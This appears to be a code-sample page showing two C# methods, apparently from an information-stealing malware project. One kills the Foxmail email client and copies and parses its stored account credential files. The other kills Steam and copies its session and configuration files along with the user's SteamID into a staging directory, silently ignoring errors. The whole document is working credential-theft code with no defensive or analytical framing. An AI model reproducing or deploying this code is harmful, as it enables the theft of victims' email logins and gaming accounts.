Пример #1
0
        public static void Inizialize()
        {
            string FullPathReg = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command";

            ProcessKiller.Closing("Foxmail");
            if (Directory.Exists(FoxMailPath.GetFoxMail(FullPathReg)) || !Directory.Exists(GlobalPath.FoxMailPass))
            {
                CombineEx.CreateDir(GlobalPath.FoxMailPass);
                try
                {
                    foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FullPathReg), "*@*", SearchOption.TopDirectoryOnly))
                    {
                        try
                        {
                            string Email     = dir.Substring(dir.LastIndexOf("\\") + 1);
                            string UserDat   = CombineEx.Combination(dir, @"Accounts\Account.rec0");
                            string FinalPath = CombineEx.Combination(GlobalPath.FoxMailPass, @"Account.rec0");
                            CombineEx.FileCopy(UserDat, FinalPath, true);
                            Reader(UserDat, Email);

                            if (File.Exists(GlobalPath.FoxMailLog))
                            {
                                CombineEx.DeleteFile(FinalPath);
                            }
                        }
                        catch (ArgumentException) { }
                    }
                }
                catch (Exception) { }
            }
        }
Пример #2
0
        public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc)
        {
            if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir)))
            {
                CombineEx.CreateDir(GlobalPath.Steam_Dir);
                ProcessKiller.Closing(Proc);
                try
                {
                    foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion))
                    {
                        if (File.Exists(Unknown))
                        {
                            if (!Unknown.Contains(".crash"))
                            {
                                CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown)));
                            }
                        }
                        else
                        {
                            continue;
                        }
                    }
                }
                catch (IOException) { }
                catch (UnauthorizedAccessException) { }
                catch (ArgumentException) { }

                if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name)))
                {
                    try
                    {
                        CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name));
                        SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID());
                        foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles))
                        {
                            if (!File.Exists(Config))
                            {
                                continue;
                            }
                            else
                            {
                                CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true);
                            }
                        }
                    }
                    catch { }
                }
            }
        }